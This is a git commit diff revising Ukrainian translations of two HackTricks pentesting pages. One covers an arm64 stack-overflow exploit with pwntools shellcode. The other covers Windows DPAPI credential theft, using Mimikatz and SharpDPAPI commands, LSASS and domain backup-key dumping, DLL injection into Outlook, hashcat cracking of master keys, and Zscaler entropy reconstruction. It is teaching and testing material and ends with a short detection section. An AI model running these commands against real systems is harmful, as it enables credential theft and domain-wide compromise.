Translated ['src/windows-hardening/windows-local-privilege-escalation/dp

This commit is contained in:
Translator 2025-09-05 19:02:06 +00:00
parent 59fc13acd8
commit b6fe4b8bf5
2 changed files with 99 additions and 83 deletions

View File

@ -2,14 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
Знайдіть вступ до arm64 в:
Знайдіть вступ до arm64 у:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Linux
### Код
```c
#include <stdio.h>
#include <unistd.h>
@ -24,19 +25,19 @@ vulnerable_function();
return 0;
}
```
Скомпілювати без pie, canary та nx:
Скомпілюйте без pie, canary і nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow
### Без ASLR і без canary - Stack Overflow
Щоб зупинити ASLR, виконайте:
Щоб вимкнути ASLR, виконайте:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Щоб отримати [**зсув перевірки bof, перегляньте це посилання**](../ret2win/ret2win-arm64.md#finding-the-offset).
Щоб отримати [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Експлуатація:
Exploit:
```python
from pwn import *
@ -67,8 +68,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Єдине "складне", що потрібно знайти тут, - це адреса в стеку для виклику. У моєму випадку я згенерував експлойт з адресою, знайденою за допомогою gdb, але потім, коли я намагався його використати, це не спрацювало (тому що адреса в стеку трохи змінилася).
Єдина "складна" річ тут — знайти адресу в stack, куди викликати. У моєму випадку я згенерував exploit з адресою, знайденою за допомогою gdb, але при експлуатації він не спрацював (бо адреса stack трохи змінилась).
Я відкрив згенерований **`core` file** (`gdb ./bog ./core`) і перевірив реальну адресу початку shellcode.
## macOS
> [!TIP]
> Неможливо вимкнути NX у macOS, бо на arm64 цей режим реалізований на апаратному рівні, тож його не можна відключити, тому ви не знайдете прикладів зі shellcode в stack в macOS.
Check a macOS ret2win example in:
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
Я відкрив згенерований **`core` файл** (`gdb ./bog ./core`) і перевірив реальну адресу початку shellcode.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,33 +6,33 @@
## Що таке DPAPI
The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves.
The Data Protection API (DPAPI) в першу чергу використовується в операційній системі Windows для **симетричного шифрування асиметричних приватних ключів**, використовуючи або секрети користувача, або системні секрети як значне джерело ентропії. Такий підхід спрощує шифрування для розробників, дозволяючи їм шифрувати дані за допомогою ключа, похідного від логон-секретів користувача або, для системного шифрування, від секретів аутентифікації домену системи, тим самим звільняючи розробників від необхідності самостійно захищати ключ шифрування.
The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, which allow applications to encrypt and decrypt data securely with the session of the process that is currently logged on. This means that the encrypted data can only be decrypted by the same user or system that encrypted it.
Найпоширеніший спосіб використання DPAPI — через функції **`CryptProtectData` and `CryptUnprotectData`**, які дозволяють застосункам безпечно шифрувати та дешифрувати дані в межах сесії процесу, що наразі ввійшов у систему. Це означає, що зашифровані дані можуть бути розшифровані тільки тим самим користувачем або системою, що їх зашифрувала.
Moreover, these functions accepts also an **`entropy` parameter** which will also be used during encryption and decryption, therefore, in order to decrypt something encrypted using this parameter, you must provide the same entropy value that was used during encryption.
Крім того, ці функції також приймають **`entropy` parameter**, який також використовується під час шифрування та розшифрування, тому щоб розшифрувати щось, що було зашифроване з використанням цього параметра, ви повинні надати те саме значення entropy, яке використовувалося при шифруванні.
### Users key generation
### Генерація ключів користувачів
The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the NTLM hash of the user**.
DPAPI генерує унікальний ключ (названий **`pre-key`**) для кожного користувача на основі їхніх облікових даних. Цей ключ виводиться з пароля користувача та інших факторів, і алгоритм залежить від типу користувача, але в підсумку це SHA1. Наприклад, для доменних користувачів **він залежить від NTLM-хеша користувача**.
This is specially interesting because if an attacker can obtain the user's password hash, they can:
Це особливо цікаво тому, що якщо зловмисник може отримати хеш пароля користувача, він може:
- **Decrypt any data that was encrypted using DPAPI** with that user's key without needing to contact any API
- Try to **crack the password** offline trying to generate the valid DPAPI key
- **Decrypt any data that was encrypted using DPAPI** з використанням ключа цього користувача без необхідності звертатися до будь-якого API
- Спробувати **зламати пароль** офлайн, намагаючись згенерувати валідний DPAPI ключ
Moreover, every time some data is encrypted by a user using DPAPI, a new **master key** is generated. This master key is the one actually used to encrypt data. Each master key is given with a **GUID** (Globally Unique Identifier) that identifies it.
Крім того, кожного разу, коли користувач шифрує деякі дані за допомогою DPAPI, генерується новий **master key**. Цей master key фактично використовується для шифрування даних. Кожному master key присвоюється **GUID** (Globally Unique Identifier), який його ідентифікує.
The master keys are stored in the **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** directory, where `{SID}` is the Security Identifier of that user. The master key is stored encrypted by the user's **`pre-key`** and also by a **domain backup key** for recovery (so the same key is stored encrypted 2 times by 2 different pass).
Master keys зберігаються в директорії **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, де `{SID}` — це Security Identifier цього користувача. Master key зберігається зашифрованим користувацьким **`pre-key`** і також зашифрованим доменним резервним ключем для відновлення (тому той самий ключ зберігається зашифрованим двічі — двома різними способами).
Note that the **domain key used to encrypt the master key is in the domain controllers and never changes**, so if an attacker has access to the domain controller, they can retrieve the domain backup key and decrypt the master keys of all users in the domain.
Зауважте, що **доменний ключ, який використовується для шифрування master key, знаходиться на domain controllers і ніколи не змінюється**, тож якщо зловмисник має доступ до контролера домену, він може отримати доменний резервний ключ і розшифрувати master keys усіх користувачів у домені.
The encrypted blobs contain the **GUID of the master key** that was used to encrypt the data inside its headers.
Зашифровані блоби містять **GUID master key**, який було використано для шифрування даних, у своїх заголовках.
> [!TIP]
> DPAPI encrypted blobs starts with **`01 00 00 00`**
Знайти master keys:
Find master keys:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -47,35 +47,35 @@ This is what a bunch of Master Keys of a user will looks like:
### Machine/System key generation
Це ключ, який використовується машиною для шифрування даних. Він базується на **DPAPI_SYSTEM LSA secret**, який є спеціальним ключем, до якого може отримати доступ лише користувач SYSTEM. Цей ключ використовується для шифрування даних, які мають бути доступні самій системі, наприклад повноваження на рівні машини або системні секрети.
Це ключ, який використовується машиною для шифрування даних. Він базується на **DPAPI_SYSTEM LSA secret**, це спеціальний ключ, до якого може отримати доступ лише користувач SYSTEM. Цей ключ використовується для шифрування даних, які повинні бути доступні самій системі, наприклад облікових даних на рівні машини або системних секретів.
Зауважте, що ці ключі **не мають domain backup**, тому вони доступні лише локально:
Зауважте, що ці ключі **не мають резервної копії для домену**, тому вони доступні лише локально:
- **Mimikatz** може отримати до нього доступ, дампуючи LSA secrets за допомогою команди: `mimikatz lsadump::secrets`
- Секрет зберігається в реєстрі, тому адміністратор може **змінити DACL permissions, щоб отримати до нього доступ**. Шлях у реєстрі: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** може отримати до них доступ, дампуючи LSA secrets за допомогою команди: `mimikatz lsadump::secrets`
- Секрет зберігається в реєстрі, тож адміністратор може **змінити дозволи DACL, щоб отримати доступ**. Шлях у реєстрі: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Protected Data by DPAPI
Серед персональних даних, захищених DPAPI, є:
- облікові дані Windows
- паролі та дані автозаповнення Internet Explorer і Google Chrome
- паролі від електронної пошти та внутрішніх FTP-акаунтів для застосунків, таких як Outlook і Windows Mail
- паролі для спільних папок, ресурсів, бездротових мереж та Windows Vault, включно з ключами шифрування
- паролі для підключень Remote Desktop, .NET Passport та приватні ключі для різних цілей шифрування й автентифікації
- мережні паролі, керовані Credential Manager, та персональні дані в застосунках, що використовують CryptProtectData, таких як Skype, MSN messenger тощо
- зашифровані бінарні блоки (blobs) у реєстрі
- Windows creds
- Паролі та дані автозаповнення Internet Explorer і Google Chrome
- Паролі e-mail та внутрішніх FTP-акаунтів для застосунків, таких як Outlook і Windows Mail
- Паролі до спільних папок, ресурсів, бездротових мереж і Windows Vault, включаючи ключі шифрування
- Паролі для підключень віддаленого робочого столу, .NET Passport та приватні ключі для різних цілей шифрування й автентифікації
- Мережеві паролі, які керуються Credential Manager, та персональні дані в застосунках, що використовують CryptProtectData, такі як Skype, MSN messenger тощо
- Зашифровані блоби у реєстрі
- ...
Дані, захищені системою, включають:
Системні захищені дані включають:
- паролі WiFi
- паролі запланованих завдань
- ...
### Master key extraction options
- Якщо користувач має привілеї domain admin, він може отримати доступ до **domain backup key**, щоб розшифрувати всі user master keys у домені:
- Якщо користувач має domain admin privileges, він може отримати доступ до ключа резервної копії домену, щоб розшифрувати всі master keys користувачів у домені:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -83,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- Маючи локальні права адміністратора, можна **access the LSASS memory** щоб витягти DPAPI master keys усіх підключених користувачів та SYSTEM key.
- Маючи local admin privileges, можливо **отримати доступ до пам'яті LSASS**, щоб витягти DPAPI master keys усіх підключених користувачів і ключ SYSTEM.
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- Якщо користувач має локальні права адміністратора, він може отримати доступ до **DPAPI_SYSTEM LSA secret** для розшифрування machine master keys:
- Якщо користувач має локальні права адміністратора, він може отримати доступ до **DPAPI_SYSTEM LSA secret**, щоб розшифрувати machine master keys:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- Якщо відомий пароль або NTLM-хеш користувача, ви можете **безпосередньо розшифрувати майстер-ключі користувача**:
- Якщо відомий пароль або NTLM hash користувача, ви можете **безпосередньо розшифрувати master-ключі користувача**:
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- Якщо ви перебуваєте всередині session як user, можна попросити DC про **backup key to decrypt the master keys using RPC**. Якщо ви local admin і user увійшов до системи, ви можете **steal his session token** для цього:
- Якщо ви перебуваєте в сесії як користувач, можна звернутися до DC за **backup key to decrypt the master keys using RPC**. Якщо ви local admin і користувач увійшов у систему, ви можете **steal his session token** для цього:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -109,7 +109,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
## Список Vault
## Список сховищ
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
@ -119,23 +119,23 @@ mimikatz vault::list
```
## Доступ до зашифрованих даних DPAPI
### Знаходження зашифрованих даних DPAPI
### Знайти зашифровані дані DPAPI
Зазвичай **захищені** файли користувача знаходяться в:
Типові **захищені файли** користувачів знаходяться в:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- Check also changing `\Roaming\` to `\Local\` in the above paths.
- Перевірте також заміну `\Roaming\` на `\Local\` у наведених вище шляхах.
Приклади енумерації:
Enumeration examples:
```bash
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) може знаходити DPAPI зашифровані blobs у файловій системі, реєстрі та B64 blobs:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) може знайти DPAPI encrypted blobs у файловій системі, реєстрі та B64 blobs:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -150,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
Зауважте, що [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (з того ж репозиторію) можна використовувати для розшифрування за допомогою DPAPI конфіденційних даних, таких як cookies.
Зверніть увагу, що [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (з того ж репозиторію) можна використовувати для розшифрування (через DPAPI) конфіденційних даних, таких як cookies.
### Ключі доступу та дані
- **Use SharpDPAPI** щоб отримати credentials із файлів, зашифрованих DPAPI, з поточної сесії:
- **Use SharpDPAPI** щоб витягти облікові дані з файлів, зашифрованих DPAPI, у поточній сесії:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **Отримати credentials info** такі як encrypted data та guidMasterKey.
- **Отримати інформацію про облікові дані** (наприклад, зашифровані дані та guidMasterKey).
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -175,7 +175,7 @@ pbData : b8f619[...snip...]b493fe
```
- **Access masterkeys**:
Розшифруйте masterkey користувача, який запитує **domain backup key**, використовуючи RPC:
Розшифрувати masterkey користувача, який запросив **domain backup key**, використовуючи RPC:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Інструмент **SharpDPAPI** також підтримує ці аргументи для розшифрування masterkey (зверніть увагу, що можна використовувати `/rpc` щоб отримати ключ резервної копії домену, `/password` щоб використати пароль у відкритому тексті, або `/pvk` щоб вказати файл приватного ключа DPAPI домену...):
Інструмент **SharpDPAPI** також підтримує ці аргументи для дешифрування masterkey (зверніть увагу, як можна використовувати `/rpc` щоб отримати резервний ключ домену, `/password` щоб використати пароль у відкритому вигляді, або `/pvk` щоб вказати файл приватного ключа DPAPI домену...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
Інструмент **SharpDPAPI** також підтримує ці аргументи для розшифрування `credentials|vaults|rdg|keepass|triage|blob|ps` (зауважте, що можна використати `/rpc` щоб отримати резервний ключ домену, `/password` щоб використати пароль у відкритому вигляді, `/pvk` щоб вказати файл приватного ключа домену DPAPI, `/unprotect` щоб використати поточну сесію користувача...):
Інструмент **SharpDPAPI** також підтримує ці аргументи для дешифрування `credentials|vaults|rdg|keepass|triage|blob|ps` (зверніть увагу, що можна використовувати `/rpc` щоб отримати резервний ключ домену, `/password` щоб використати plaintext password, `/pvk` щоб вказати файл приватного ключа DPAPI домену, `/unprotect` щоб використовувати поточну сесію користувача...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -230,11 +230,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
### Обробка необов'язкової ентропії ("Third-party entropy")
### Обробка опційної ентропії ("Third-party entropy")
Деякі програми передають додаткове значення **entropy** до `CryptProtectData`. Без цього значення blob не можна розшифрувати, навіть якщо відомий правильний masterkey. Отже, отримання **entropy** є необхідним при націлюванні на облікові дані, захищені таким чином (наприклад Microsoft Outlook, деякі VPN-клієнти).
Деякі застосунки передають додаткове значення **entropy** до `CryptProtectData`. Без цього значення blob не може бути розшифрований, навіть якщо відомий правильний masterkey. Отже, отримання entropy є критично важливим при націлюванні на облікові дані, захищені таким чином (наприклад Microsoft Outlook, деякі VPN-клієнти).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) — це user-mode DLL, яка перехоплює DPAPI-функції всередині цільового процесу та прозоро записує будь-яку додаткову entropy, що передається. Запуск EntropyCapture у режимі **DLL-injection** проти процесів, таких як `outlook.exe` або `vpnclient.exe`, виведе файл, який зіставляє кожний буфер entropy з викликаючим процесом і blob. Захоплену entropy пізніше можна передати до **SharpDPAPI** (`/entropy:`) або **Mimikatz** (`/entropy:<file>`) для розшифровки даних.
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) — це user-mode DLL, яка перехоплює функції DPAPI всередині цільового процесу і прозоро записує будь-яку опційну **entropy**, що передається. Запуск EntropyCapture у режимі **DLL-injection** проти процесів на кшталт `outlook.exe` або `vpnclient.exe` створить файл, який зіставляє кожен буфер entropy із процесом-викликом та відповідним blob. Захоплену entropy можна пізніше передати до **SharpDPAPI** (`/entropy:`) або **Mimikatz** (`/entropy:<file>`) для розшифрування даних.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -242,9 +242,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Злам masterkeys офлайн (Hashcat & DPAPISnoop)
### Злом майстер-ключів офлайн (Hashcat & DPAPISnoop)
Microsoft впровадила формат masterkey **context 3**, починаючи з Windows 10 v1607 (2016). `hashcat` v6.2.6 (грудень 2023) додав hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) та **22102** (context 3), що дозволяють GPU-прискорене зламування паролів користувачів безпосередньо з файлу masterkey. Тож нападники можуть виконувати атаки за словником або brute-force без взаємодії з цільовою системою.
Microsoft представила формат майстер-ключа **context 3**, починаючи з Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) додав hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) and **22102** (context 3), що дозволяє GPU-accelerated ламання паролів користувачів безпосередньо з файлу майстер-ключа. Тому зловмисники можуть виконувати word-list або brute-force атаки без взаємодії з цільовою системою.
`DPAPISnoop` (2024) автоматизує процес:
```bash
@ -252,11 +252,11 @@ Microsoft впровадила формат masterkey **context 3**, почин
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Інструмент також може розбирати Credential та Vault blobs, розшифровувати їх за допомогою зламаних ключів і експортувати паролі у відкритому вигляді.
Інструмент також може парсити Credential і Vault blobs, дешифрувати їх зламаними ключами і експортувати cleartext passwords.
### Доступ до даних іншої машини
У **SharpDPAPI and SharpChrome** можна вказати опцію **`/server:HOST`** для доступу до даних віддаленої машини. Звісно, потрібно мати доступ до тієї машини, і в наведеному нижче прикладі припускається, що **відомий ключ шифрування резервної копії домену**:
У **SharpDPAPI and SharpChrome** можна вказати опцію **`/server:HOST`**, щоб отримати доступ до даних віддаленої машини. Звісно, вам потрібно мати доступ до тієї машини, і в наведеному прикладі припускається, що **ключ шифрування резервної копії домену відомий**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
@ -265,49 +265,51 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) — інструмент, що автоматизує витяг усіх користувачів і комп'ютерів з LDAP-довідника та отримання ключа резервної копії контролера домену через RPC. Скрипт потім резолвить IP-адреси всіх комп'ютерів і виконує smbclient на всіх машинах, щоб отримати всі DPAPI blob-и всіх користувачів та розшифрувати все за допомогою ключа резервної копії домену.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) — інструмент, який автоматизує витяг усіх користувачів і комп’ютерів з LDAP-каталогу та витяг domain controller backup key через RPC. Скрипт потім резолвить IP-адреси всіх комп’ютерів і виконує smbclient на всіх машинах, щоб отримати всі DPAPI blobs усіх користувачів і розшифрувати все за допомогою domain backup key.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
За витягнутим зі LDAP списком комп'ютерів ви можете знайти кожну підмережу, навіть якщо раніше не знали про них!
За допомогою списку комп’ютерів, отриманого з LDAP, ви можете знайти кожну підмережу, навіть якщо ви про неї не знали!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) може автоматично дампити секрети, захищені DPAPI. Реліз 2.x додав:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) може автоматично дампити секрети, захищені DPAPI. Реліз 2.x ввів:
* Паралельний збір blobs з сотень хостів
* Парсинг **context 3** masterkeys та автоматична інтеграція з Hashcat для брутфорсу
* Підтримка Chrome "App-Bound" зашифрованих cookie (див. наступний розділ)
* Новий режим **`--snapshot`** для повторного опитування кінцевих точок і дифу щойно створених blob-ів
* Парсинг **context 3** masterkeys та автоматична інтеграція з Hashcat для cracking
* Підтримка Chrome "App-Bound" зашифрованих cookies (див. наступний розділ)
* Новий режим **`--snapshot`** для періодичного опитування кінцевих точок і порівняння новостворених blobs
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) — C# парсер для masterkey/credential/vault файлів, який може виводити формати для Hashcat/JtR та опціонально автоматично викликати cracking. Повністю підтримує machine та user masterkey формати до Windows 11 24H1.
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) — C# parser для файлів masterkey/credential/vault, який може виводити формати Hashcat/JtR і опційно автоматично запускати cracking. Повністю підтримує machine і user masterkey формати до Windows 11 24H1.
## Загальні виявлення
- Доступ до файлів у `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` та інших DPAPI-пов'язаних директоріях.
- Особливо з мережевої шари, як **C$** або **ADMIN$**.
- Використання **Mimikatz**, **SharpDPAPI** або подібних інструментів для доступу до пам'яті LSASS або дампу masterkeys.
- Подія **4662**: *Виконано операцію над об'єктом* — може корелюватися з доступом до об'єкта **`BCKUPKEY`**.
- Події **4673/4674**, коли процес запитує *SeTrustedCredManAccessPrivilege* (Credential Manager)
## Типові виявлення
- Доступ до файлів у `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` та інших каталогах, пов’язаних з DPAPI.
- Особливо через мережевий ресурс на кшталт **C$** або **ADMIN$**.
- Використання **Mimikatz**, **SharpDPAPI** або подібних інструментів для доступу до пам’яті LSASS або дампу masterkeys.
- Подія **4662**: *An operation was performed on an object* може корелюватися з доступом до об’єкта **`BCKUPKEY`**.
- Подія **4673/4674** коли процес запитує *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### Уразливості 20232025 та зміни в екосистемі
### 2023-2025 уразливості та зміни екосистеми
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (листопад 2023). Атакувальник з мережею міг примусити член домену отримати шкідливий DPAPI backup key, що дозволяло розшифрувати user masterkeys. Виправлено в накопичувальному оновленні листопада 2023 — адміністратори повинні переконатися, що DC та робочі станції повністю пропатчені.
* **Chrome 127 “App-Bound” cookie encryption** (липень 2024) замінив стару захист лише на базі DPAPI додатковим ключем, що зберігається в **Credential Manager** користувача. Офлайн-розшифровка cookie тепер вимагає і DPAPI masterkey, і **GCM-wrapped app-bound key**. SharpChrome v2.3 та DonPAPI 2.x в змозі відновити додатковий ключ при запуску в контексті користувача.
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (листопад 2023). Атакуючий з доступом до мережі міг обманути членa домену, щоб отримати шкідливий DPAPI backup key, що дозволяло розшифрувати user masterkeys. Виправлено в листопадовому кумулятивному оновленні 2023 — адміністраторам слід переконатися, що DCs та робочі станції повністю оновлені.
* **Chrome 127 “App-Bound” cookie encryption** (липень 2024) замінила застарілий захист, що покладався лише на DPAPI, додатковим ключем, який зберігається в **Credential Manager** користувача. Офлайн-розшифровка cookies тепер вимагає як DPAPI masterkey, так і **GCM-wrapped app-bound key**. SharpChrome v2.3 та DonPAPI 2.x можуть відновити цей додатковий ключ при виконанні в контексті користувача.
### Кейс: Zscaler Client Connector користувацька ентропія, що походить від SID
Zscaler Client Connector зберігає кілька конфігураційних файлів у `C:\ProgramData\Zscaler` (наприклад `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Кожен файл зашифрований за допомогою **DPAPI (Machine scope)**, але вендор постачає **custom entropy**, яка обчислюється під час виконання замість зберігання на диску.
### Кейс: Zscaler Client Connector Налаштована ентропія, похідна від SID
Zscaler Client Connector зберігає кілька конфігураційних файлів у `C:\ProgramData\Zscaler` (наприклад `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Кожний файл зашифрований з використанням **DPAPI (Machine scope)**, але вендор постачає **custom entropy**, який *обчислюється під час виконання* замість збереження на диску.
Ентропія відновлюється з двох елементів:
1. Жорстко вбудований секрет, вбудований у `ZSACredentialProvider.dll`.
1. Жорстко вбудований секрет, вкладений у `ZSACredentialProvider.dll`.
2. **SID** облікового запису Windows, якому належить конфігурація.
Алгоритм, реалізований у DLL, еквівалентний:
Алгоритм, реалізований DLL, еквівалентний:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -322,17 +324,17 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
Оскільки секрет вбудований у DLL, який можна прочитати з диска, **будь-який локальний атакувальник з правами SYSTEM може відтворити ентропію для будь-якого SID** і розшифрувати blobs офлайн:
Оскільки секрет вбудований у DLL, яку можна прочитати з диска, **будь-який локальний зловмисник з правами SYSTEM може відтворити ентропію для будь-якого SID** і розшифрувати blobs offline:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
Розшифрування повертає повну JSON-конфігурацію, включаючи кожну **перевірку стану пристрою** та її очікуване значення — інформацію, яка є дуже цінною при спробах обходу на боці клієнта.
Розшифрування дає повну JSON-конфігурацію, включно з кожною **перевіркою стану пристрою** та її очікуваним значенням — інформацією, яка дуже цінна при спробах обходів на стороні клієнта.
> Порада: інші зашифровані артефакти (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) захищені за допомогою DPAPI **без** ентропії (`16` нульових байтів). Їх можна, отже, розшифрувати прямо за допомогою `ProtectedData.Unprotect`, щойно отримано привілеї SYSTEM.
> TIP: інші зашифровані артефакти (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) захищені DPAPI **без** ентропії (`16` нульових байтів). Тому їх можна безпосередньо розшифрувати за допомогою `ProtectedData.Unprotect`, коли будуть отримані привілеї SYSTEM.
## Джерела
## References
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)